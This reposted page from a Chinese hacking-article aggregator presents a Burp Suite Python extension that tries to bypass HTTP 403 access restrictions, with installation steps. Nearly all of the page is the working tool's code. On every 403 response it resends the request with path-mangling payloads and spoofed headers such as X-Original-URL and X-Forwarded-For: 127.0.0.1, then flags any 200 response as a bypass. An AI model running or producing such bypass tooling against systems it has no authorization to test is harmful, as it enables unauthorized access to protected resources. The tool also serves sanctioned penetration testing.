记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华
«自动化暴力破解工具...
Xerror全自动渗透测试工具平台（漏洞... »

BurpSuite之403绕过插件（403Bypass）

2020-11-26 10:06

BurpSuite之403绕过插件（403Bypass）-极度安全

Payloads

温馨提示：终身会员登陆后查看

插件安装

BurpSuite -> Extender -> Extensions -> Add -> Extension Type: Python -> Select file: 403bypasser.py -> Next till Finish

403bypasser.py

  1. from burp import IBurpExtender
  2. from burp import IScannerCheck
  3. from burp import IScanIssue
  4. from java.io import PrintWriter
  5. from array import array
  6. import re
  8. class BurpExtender(IBurpExtender, IScannerCheck):
  10.     #
  11.     # implement IBurpExtender
  12.     #
  14.     def registerExtenderCallbacks(self, callbacks):
  15.         # keep a reference to our callbacks object
  16.         self._callbacks = callbacks
  18.         # obtain an extension helpers object
  19.         self._helpers = callbacks.getHelpers()
  21.         # set our extension name
  22.         callbacks.setExtensionName("403 Directory Bypasser")
  23.         self.stdout = PrintWriter(callbacks.getStdout(), True)
  24.         self.stderr = PrintWriter(callbacks.getStderr(), True)
  26.         # register ourselves as a custom scanner check
  27.         callbacks.registerScannerCheck(self)
  29.     # helper method to search a response for occurrences of a literal match string
  30.     # and return a list of start/end offsets
  32.     def _get_matches(self, sttcode):
  33.         #response = self._helpers.bytesToString(response)
  34.         if sttcode == 403:
  35.             return True
  36.         return False
  38.     def rplHeader(self, headerStr, headerName, newHeader):
  39.         headerStr = re.sub('^'+headerName+':.*?$', newHeader, headerStr, flags=re.I|re.M)
  40.         return headerStr
  42.     def doPassiveScan(self, baseRequestResponse):
  44.         # look for matches of our passive check grep string
  45.         matches = self._get_matches(self._helpers.analyzeResponse(baseRequestResponse.getResponse()).getStatusCode())
  46.         if matches == False:
  47.             return None
  49.         OldReq = self._helpers.bytesToString(baseRequestResponse.getRequest())
  50.         Rurl = self._helpers.analyzeRequest(baseRequestResponse).getUrl().getPath()
  51.         if Rurl != "/":
  52.             Rurl = self._helpers.analyzeRequest(baseRequestResponse).getUrl().getPath().rstrip("/")
  54.         PreviousPath = '/'.join(str(Rurl).split('/')[:-1])
  55.         LastPath = str(Rurl).split('/')[-1]
  56.         self.stdout.println("Scanning: "+Rurl)
  57.         self.stdout.println(self._helpers.analyzeRequest(baseRequestResponse).getHeaders())
  60.         payloads = ["%2e/"+LastPath, LastPath+"/.", "./"+LastPath+"/./", LastPath+"%20/", "%20"+LastPath+"%20/", LastPath+"..;/",LastPath+"?",LastPath+"??","/"+LastPath+"//",LastPath+"/",LastPath+"/.randomstring"]
  61.         hpayloads = ["X-Rewrite-URL: /"+LastPath, "X-Custom-IP-Authorization: 127.0.0.1", "X-Original-URL: /"+LastPath,"Referer: /"+LastPath,"X-Originating-IP: 127.0.0.1","X-Forwarded-For: 127.0.0.1","X-Remote-IP: 127.0.0.1","X-Client-IP: 127.0.0.1","X-Host: 127.0.0.1","X-Forwared-Host: 127.0.0.1"]
  62.         results = []
  64.         for p in payloads:
  65.             NewReq = OldReq.replace(Rurl, PreviousPath+"/"+p)
  66.             checkRequestResponse = self._callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), self._helpers.stringToBytes(NewReq))
  67.             # self.stdout.println(self._helpers.analyzeRequest(checkRequestResponse).getUrl().getPath())
  68.             STT_CODE = self._helpers.analyzeResponse(checkRequestResponse.getResponse()).getStatusCode()
  69.             if STT_CODE == 200:
  70.                 results.append("Url payload: "+self._helpers.analyzeRequest(checkRequestResponse).getUrl().getPath() + " | Status code: "+str(STT_CODE))
  74.         for hp in hpayloads:
  75.             if hp.startswith("Referer:") and "Referer:" in OldReq:
  76.                 NewReq = self.rplHeader(OldReq, "Referer", hp) #.replace("User-Agent: ", hp+"\r\n"+"User-Agent: ")
  77.             else:
  78.                 NewReq = OldReq.replace("User-Agent: ", hp+"\r\n"+"User-Agent: ")
  79.             # self.stdout.println(NewReq)
  80.             checkRequestResponse = self._callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), self._helpers.stringToBytes(NewReq))
  81.             STT_CODE = self._helpers.analyzeResponse(checkRequestResponse.getResponse()).getStatusCode()
  82.             if STT_CODE == 200:
  83.                 results.append("Header payload: "+hp + " | Status code: "+str(STT_CODE))
  85.         if len(results) == 0:
  86.             return None
  88.         return [CustomScanIssue(
  89.             baseRequestResponse.getHttpService(),
  90.             self._helpers.analyzeRequest(baseRequestResponse).getUrl(),
  91.             [self._callbacks.applyMarkers(baseRequestResponse, None, None)],
  92.             "403 Bypass Vuln",
  93.             '<br>'.join(results),
  94.             "High")]
  98.     def consolidateDuplicateIssues(self, existingIssue, newIssue):
  99.         # This method is called when multiple issues are reported for the same URL
  100.         # path by the same extension-provided check. The value we return from this
  101.         # method determines how/whether Burp consolidates the multiple issues
  102.         # to prevent duplication
  103.         #
  104.         # Since the issue name is sufficient to identify our issues as different,
  105.         # if both issues have the same name, only report the existing issue
  106.         # otherwise report both issues
  107.         if existingIssue.getUrl() == newIssue.getUrl():
  108.             return -1
  110.         return 0
  112. #
  113. # class implementing IScanIssue to hold our custom scan issue details
  114. #
  115. class CustomScanIssue (IScanIssue):
  116.     def __init__(self, httpService, url, httpMessages, name, detail, severity):
  117.         self._httpService = httpService
  118.         self._url = url
  119.         self._httpMessages = httpMessages
  120.         self._name = name
  121.         self._detail = detail
  122.         self._severity = severity
  124.     def getUrl(self):
  125.         return self._url
  127.     def getIssueName(self):
  128.         return self._name
  130.     def getIssueType(self):
  131.         return 0
  133.     def getSeverity(self):
  134.         return self._severity
  136.     def getConfidence(self):
  137.         return "Certain"
  139.     def getIssueBackground(self):
  140.         pass
  142.     def getRemediationBackground(self):
  143.         pass
  145.     def getIssueDetail(self):
  146.         return self._detail
  148.     def getRemediationDetail(self):
  149.         pass
  151.     def getHttpMessages(self):
  152.         return self._httpMessages
  154.     def getHttpService(self):
  155.         return self._httpService

知识来源: https://www.secvery.com/4160.html

阅读:205611 | 评论:0 | 标签:无

想收藏或者和大家分享这篇好文章→复制链接地址

“BurpSuite之403绕过插件（403Bypass）”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

❤永久免费、持续更新、精选优质黑客技术文章的Hackdig，帮你成为掌握黑客技术的英雄❤

求赞助求支持·广告位💖

随机推荐

标签云